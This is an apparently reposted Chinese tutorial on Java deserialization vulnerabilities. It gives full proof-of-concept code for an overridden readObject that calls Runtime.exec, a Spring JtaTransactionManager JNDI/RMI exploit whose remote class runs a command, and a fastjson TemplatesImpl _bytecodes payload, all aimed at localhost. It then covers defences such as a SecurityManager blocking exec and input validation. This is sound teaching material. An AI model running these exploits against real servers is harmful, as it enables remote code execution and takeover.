Java反序列化漏洞揭秘:從原理到攻擊實戰

一、背景

熟悉接口開發的同學一定知道,能將數據對象很輕松的實現多平臺之間的通信、對象持久化存儲,序列化和反序列化是一種非常有效的手段,例如如下應用場景,對象必須 100% 實現序列化。

  • DUBBO:對象傳輸必須要實現序列化
  • RMI:Java 的一組擁護開發分布式應用程序 API,實現了不同操作系統之間程序的方法調用,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是 1099 端口

而在反序列化的背后,卻隱藏了很多不為人知的秘密!

最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執行漏洞,當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯網行業掀起了一陣颶風。

2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過 JtaTransactionManager 這個類,來遠程執行惡意代碼。

2017 年 4月15 日,Jackson 框架被發現存在一個反序列化代碼執行漏洞。該漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通過該漏洞,攻擊者可以遠程在服務器主機上越權執行任意代碼,從而取得該網站服務器的控制權。

還有 fastjson,一款 java 編寫的高性能功能非常完善的 JSON 庫,應用范圍非常廣,在 2017 年,fastjson 官方主動爆出 fastjson 在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。

Java 十分受開發者喜愛的一點,就是其擁有完善的第三方類庫,和滿足各種需求的框架。但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,或者在數據校驗入口就沒有把關好,那么受影響范圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么問題來了,攻擊者是如何精心構造反序列化對象并執行惡意代碼的呢?

二、漏洞分析

2.1、漏洞基本原理

先看一段代碼如下:

public class DemoSerializable {public static void main(String[] args) throws Exception {//定義myObj對象MyObject myObj = new MyObject();myObj.name = "hello world";//創建一個包含對象進行反序列化信息的”object”數據文件FileOutputStream fos = new FileOutputStream("object");ObjectOutputStream os = new ObjectOutputStream(fos);//writeObject()方法將myObj對象寫入object文件os.writeObject(myObj);os.close();//從文件中反序列化obj對象FileInputStream fis = new FileInputStream("object");ObjectInputStream ois = new ObjectInputStream(fis);//恢復對象MyObject objectFromDisk = (MyObject)ois.readObject();System.out.println(objectFromDisk.name);ois.close();}
}class MyObject implements Serializable {/*** 任意屬性*/public String name;//重寫readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{//執行默認的readObject()方法in.defaultReadObject();//執行指定程序Runtime.getRuntime().exec("open https://www.baidu.com/");}
}

運行程序之后,控制臺會輸出hello world,同時也會打開網頁跳轉到https://www.baidu.com/。

從這段邏輯中分析,可以很清晰的看到反序列化已經成功了,但是程序又偷偷的執行了一段如下代碼。

Runtime.getRuntime().exec("open https://www.baidu.com/");

可以再把這段代碼改造一下,內容如下:

//mac系統,執行打開計算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");//windows系統,執行打開計算器程序命令
Runtime.getRuntime().exec("calc.exe");

運行程序后,可以很輕松的打開電腦中已有的任意程序。

很多人可能不知道,這里的readObject()是可以重寫的,只是Serializable接口沒有顯示的把它展示出來,readObject()方法的作用是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回,以定制反序列化的一些行為。

可能有的同學會說,實際開發過程中,不會有人這么去重寫readObject()方法,當然不會,但是實際情況也不會太差。

2.2、Spring 框架的反序列化漏洞

以當時的 Spring 框架爆出的反序列化漏洞為例,請看當時的示例代碼。

首先創建一個 server 代碼:

public class ExploitableServer {public static void main(String[] args) {try {//創建socketServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));System.out.println("Server started on port "+serverSocket.getLocalPort());while(true) {//等待鏈接Socket socket=serverSocket.accept();System.out.println("Connection received from "+socket.getInetAddress());ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());try {//讀取對象Object object = objectInputStream.readObject();System.out.println("Read object "+object);} catch(Exception e) {System.out.println("Exception caught while reading object");e.printStackTrace();}}} catch(Exception e) {e.printStackTrace();}}
}

然后創建一個 client 代碼:

public class ExploitClient {public static void main(String[] args) {try {String serverAddress = "127.0.0.1";int port = Integer.parseInt("1234");String localAddress= "127.0.0.1";System.out.println("Starting HTTP server");   //開啟8080端口服務HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);httpServer.createContext("/",new HttpFileHandler());httpServer.setExecutor(null);httpServer.start();System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099端口 Object  提供惡意類的RMI服務Registry registry = LocateRegistry.createRegistry(1099);/*java為了將object對象存儲在Naming或者Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,比如(rmi,ldap等)。在使用Reference的時候,可以直接把對象寫在構造方法中,當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后,就可以理解jndi注入產生的原因了。*/ //綁定本地的惡意類到1099端口Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);registry.bind("Object", referenceWrapper);System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務器1234端口Socket socket=new Socket(serverAddress,port);System.out.println("Connected to server");String jndiAddress = "rmi://"+localAddress+":1099/Object";//JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類//lookup方法會實例化惡意類,導致執行惡意類無參的構造方法org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();object.setUserTransactionName(jndiAddress);//上面就是poc,下面是將object序列化發送給服務器,服務器訪問惡意類System.out.println("Sending object to server...");ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());objectOutputStream.writeObject(object);objectOutputStream.flush();while(true) {Thread.sleep(1000);}} catch(Exception e) {e.printStackTrace();}}
}

最后,創建一個ExportObject需要遠程下載的類:

public class ExportObject {public static String exec(String cmd) throws Exception {String sb = "";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb += lineStr + "\n";inBr.close();in.close();return sb;}public ExportObject() throws Exception {String cmd="open /Applications/Calculator.app/";throw new Exception(exec(cmd));}
}

先開啟 server,再運行 client 后,計算器會直接被打開!

究其原因,主要是這個類JtaTransactionManager類存在問題,最終導致了漏洞的實現。 源碼JtaTransactionManager類重寫了readObject方法。 重點就是方法initUserTransactionAndTransactionManager(), 里面會轉調用到JndiTemplatelookup()方法。

lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是說,通過JtaTransactionManager類的setUserTransactionName()方法執行,最終指向了rmi://127.0.0.1:1099/Object,導致服務執行了惡意類的遠程代碼。

2.3、FASTJSON 框架的反序列化漏洞分析

先來看一個簡單的例子,程序代碼如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("open /Applications/Calculator.app/");}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {}public static void main(String[] args) throws Exception {Test t = new Test();}
}

運行程序之后,同樣的直接會打開電腦中的計算器。

惡意代碼植入的核心就是在對象初始化階段,直接會調用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個方法,通過運行時操作類直接執行惡意代碼。

在來看看下面這個例子:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;public class POC {public static String readClass(String cls){ByteArrayOutputStream bos = new ByteArrayOutputStream();try {IOUtils.copy(new FileInputStream(new File(cls)), bos);} catch (IOException e) {e.printStackTrace();}return Base64.encodeBase64String(bos.toByteArray());}public static void  test_autoTypeDeny() throws Exception {ParserConfig config = new ParserConfig();final String fileSeparator = System.getProperty("file.separator");final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";String evilCode = readClass(evilClassPath);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);//assertEquals(Model.class, obj.getClass());}public static void main(String args[]){try {test_autoTypeDeny();} catch (Exception e) {e.printStackTrace();}}
}

在這個程序驗證代碼中,最核心的部分是_bytecodes,它是要執行的代碼,@type是指定的解析類,fastjson會根據指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,
而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化。

_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,所以是設置不了的,只能依賴于jdk的實現,某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。

如果使用的jdk版本是1.7,并且fastjson <= 1.2.24,基本會執行成功,如果是高版本的,可能會報錯!

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也與之類似。

三、如何防范

從上面的案例看,java 的序列化和反序列化,單獨使用的并沒有啥毛病,核心問題也都不是反序列化,但都是因為反序列化導致了惡意代碼被執行了,尤其是兩個看似安全的組件,如果在同一系統中交叉使用,也能會帶來一定安全問題。

3.1、禁止 JVM 執行外部命令 Runtime.exec

從上面的代碼中,不難發現,惡意代碼最終都是通過Runtime.exec這個方法得到執行,因此可以從 JVM 層面禁止外部命令的執行。

通過擴展 SecurityManager 可以實現:

public class SecurityManagerTest {public static void main(String[] args) {SecurityManager originalSecurityManager = System.getSecurityManager();if (originalSecurityManager == null) {// 創建自己的SecurityManagerSecurityManager sm = new SecurityManager() {private void check(Permission perm) {// 禁止execif (perm instanceof java.io.FilePermission) {String actions = perm.getActions();if (actions != null && actions.contains("execute")) {throw new SecurityException("execute denied!");}}// 禁止設置新的SecurityManager,保護自己if (perm instanceof java.lang.RuntimePermission) {String name = perm.getName();if (name != null && name.contains("setSecurityManager")) {throw new SecurityException("System.setSecurityManager denied!");}}}@Overridepublic void checkPermission(Permission perm) {check(perm);}@Overridepublic void checkPermission(Permission perm, Object context) {check(perm);}};System.setSecurityManager(sm);}}
}

只要在 Java 代碼里簡單加上面那一段,就可以禁止執行外部程序了,但是并非禁止外部程序執行,Java 程序就安全了,有時候可能適得其反,因為執行權限被控制太苛刻了,不見得是個好事,還得想其他招數。

3.2、增加多層數據校驗

比較有效的辦法是,當把接口參數暴露出去之后,服務端要及時做好數據參數的驗證,尤其是那種帶有httphttpsrmi等這種類型的參數過濾驗證,可以進一步降低服務的風險。

四、小結

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。

所以在日常業務開發的時候,對于 Java 反序列化的安全問題應該具備一定的防范意識,并著重注意傳入數據的校驗、服務器權限和相關日志的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面進行下功夫,以免造成不必要的損失!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/95464.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/95464.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/95464.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Time-MOE 音頻序列分類任務

prompt 我準備做語音疾病分類任務。語音音頻是 WAV 格式的音頻&#xff0c;基本上分為兩類&#xff0c;分別是疾病類和非疾病類。也有少數數據集是多分類&#xff0c;現在我找到了26個數據集&#xff0c;我準備我已經在 MLP CNN 上面測試了它們的基準&#xff0c;下面我找到了一…

[嵌入式embed][Qt]Qt5.12+Opencv4.x+Cmake4.x_測試Qt編譯的opencv4.x的庫

[嵌入式embed][Qt]Qt5.12Opencv4.xCmake4.x_測試Qt編譯的opencv4.x的庫編譯Qt-Opencv庫測試流程-①創建一個簡單的qt-ui工程配置 & 測試配置庫編譯環境測試代碼百度云-工程(opencv4.xqt5.12的工程)參考文檔編譯Qt-Opencv庫 [嵌入式embed][Qt]Qt5.12Opencv4.xCmake4.x_用Qt…

相較于傳統AR礦物鑒定有哪些優勢?

與傳統的礦物鑒定方法相比&#xff0c;AR礦物鑒定就像是一位全面升級的“超級助手”&#xff0c;展現出了無可比擬的優勢。傳統的礦物鑒定方法&#xff0c;往往依賴于地質學家或專業鑒定人員的豐富經驗。他們需要通過肉眼觀察礦物的顏色、光澤、硬度等物理特征&#xff0c;再結…

第5節:分布式文件存儲

本節主要是講解的是分布式文件存儲&#xff0c;主要介紹了阿里云OSS云存儲和Minio文件存儲&#xff0c;本章重點主要是掌握怎么在SpringBoot項目里面接入文件存儲。 記錄、交流、實踐&#xff0c;讓每一份付出皆可看見&#xff0c;讓你我共同前行&#x1f601; 1.分布式文件存…

當 GitHub 宕機時,我們如何協作?

一、引言1.1 GitHub 的重要性及宕機影響在當今軟件開發的生態系統中&#xff0c;GitHub 已然成為全球開發者不可或缺的核心平臺。它為無數開源項目與企業級開發團隊提供了高效的代碼托管、版本控制、協作開發以及項目管理等服務。然而&#xff0c;2025 年 8 月那場波及全球的 G…

Ansible 常用模塊歸納總結

[studentmaster ansible]$ ansible-galaxy collection install http://ansible.example.com/materials/community-general-6.3.0.tar.gz -p collections/##將第三方模塊下載到collections下 [studentmaster ansible]$ ansible-galaxy collection install http://ansible.exampl…

計算機網絡:概述層---TCP/IP參考模型

&#x1f310; TCP/IP四層模型詳解&#xff1a;互聯網的核心協議架構深度剖析 &#x1f4c5; 更新時間&#xff1a;2025年9月3日 &#x1f3f7;? 標簽&#xff1a;TCP/IP模型 | 互聯網協議 | 四層模型 | 計算機網絡 | 協議棧 | 網絡通信 | 王道考研 摘要: 本文將深入淺出地解析…

打工人日報#20250902

打工人日報#20250902 今天晚上去了玄武湖&#xff0c;來南京三次了&#xff0c;終于來了一次知識點 不確定度 “不確定度” 是測量領域的核心概念&#xff0c;用于量化測量結果的可靠性與分散程度—— 簡單來說&#xff0c;它回答了 “這個測量值有多可信&#xff1f;真實值可能…

告別手動復制粘貼:C# 實現 Excel 與 TXT 文本文件高效互轉

在日常辦公和數據處理工作中&#xff0c;Excel 和 TXT文本文件是兩種常見的數據存儲格式。Excel文件適合進行復雜的數據分析、公式運算和圖表生成&#xff0c;而 TXT文件則更適合用于存儲和傳輸純文本數據&#xff0c;如日志、配置文件或簡單的數據列表。很多時候&#xff0c;我…

elasticsearch學習(二)插件安裝

目錄上一篇文章查看插件安裝分詞器analysis-icu重啟實例重新查看插件上一篇文章 elasticsearch學習&#xff08;一&#xff09; 下載、安裝和初次部署 查看插件 ? bin elasticsearch-plugin list warning: ignoring JAVA_HOME/Library/Java/JavaVirtualMachines/jdk1.8.0_…

(原創)SAP ATP可用量檢查 OPJJ功能配置說明(900+字!)

前言&#xff1a;經常在ATP遇到問題&#xff0c;每次上網找都沒有相關資料&#xff0c;一氣之下直接在官網找資料收集&#xff0c;已整理相關字段與大家分享&#xff0c;避免大家走彎路附上我個人很久之前的的測試結果&#xff1a;具體字段控制說明檢查不考慮補貨提前期關聯字段…

Unity資源管理——操作一覽(編輯器下 運行時)

本文由 NRatel 歷史筆記整理而來&#xff0c;如有錯誤歡迎指正。 資源管理是Unity游戲開發中的重頭工作之一。 以下按【編輯器下】和 【運行時】&#xff0c;共十多個步驟&#xff0c;一覽總體流程&#xff08;內容巨大&#xff0c;不細展開&#xff09;。 一、資源導入Unity【…

Sentinel vs Resilience4j vs Bucket4j:分布式限流方案對比與實戰

Sentinel vs Resilience4j vs Bucket4j&#xff1a;分布式限流方案對比與實戰 在高并發微服務架構中&#xff0c;合理的限流策略是保護系統穩定性與可用性的關鍵。本文將從問題背景入手&#xff0c;對 Sentinel、Resilience4j 和 Bucket4j 三種常見的分布式限流方案進行對比&am…

Spring Boot 3.5.3 集成 Log4j2 日志系統

在 Spring Boot 3.5.3 中&#xff0c;要將默認的 Logback 替換為 Log4j2&#xff0c;需要以下步驟&#xff1a;1. 添加 Log4j2 依賴在 pom.xml中排除默認的 Logback 依賴并添加 Log4j2 依賴&#xff1a;<dependencies><!-- 排除默認的 Logback --><dependency&g…

ADB圖片上傳輪播

可以通過ADB在機器中進行上傳照片&#xff0c;進行其他圖片播放 當前系統架構分析 1. 現有組件結構 ImageCarouselActivity: 主要的輪播Activity&#xff0c;繼承自BaseBindingActivity 實現全屏顯示和沉浸式體驗使用ViewPager2進行圖片輪播支持自動輪播&#xff08;5秒間隔&…

異常處理小妙招——2.代碼的韌性:如何實現操作的原子性回滾

一、核心思想&#xff1a;什么叫“失敗原子性”&#xff1f; 想象一下你在玩一個闖關游戲&#xff0c;有一關需要你連續跳過三個平臺。 不具有原子性&#xff1a;你跳過了第一個和第二個平臺&#xff0c;但在跳第三個時失敗了、掉下去了。結果你不僅沒過關&#xff0c;連之前跳…

Crawl4AI:為LLM而生的下一代網頁爬蟲框架

在當今AI驅動的信息處理時代&#xff0c;從網頁中高效提取高質量、結構化的數據已成為連接互聯網與大語言模型&#xff08;LLM&#xff09;的關鍵橋梁。Crawl4AI作為一款開源的LLM友好型網頁爬蟲與刮板工具&#xff0c;正迅速成為開發者處理這一任務的首選解決方案。本文將深入…

輸出一個愛心

輸出效果&#xff1a;代碼實現&#xff1a;#include<iostream> #include<iomanip> #include<algorithm> using namespace std; int main() {int n;cin>>n;char a[8] {I,L,O,V,E,Y,O,U};int j 1;int k n*21;int o n*2-2;int aa 0; for(int i 0;i&…

深度集成Dify API:企業級RAG知識庫管理平臺解決方案

&#x1f3af; 需求和概述 當前基于Dify實現企業級的智能問答系統需求日益增長&#xff0c;Dify的低代碼開發框架和功能完整、靈活適應各種需求的特色得到廣大大模型和RAG開發著的歡迎。但是Dify在落地企業級應用時候&#xff0c;也面臨不少的問題&#xff0c;最突出的就是Dif…

C++循環越界問題

for (int i 0; i < historyTableList.size() - 1; i) {historyList2.push_back(historyTableList[i]); } historyList.size()0時&#xff0c;為什么會異常historyTableList.size() 返回的是 size_t 類型&#xff08;無符號整數&#xff09;當 size() 0 時&#xff0c;size…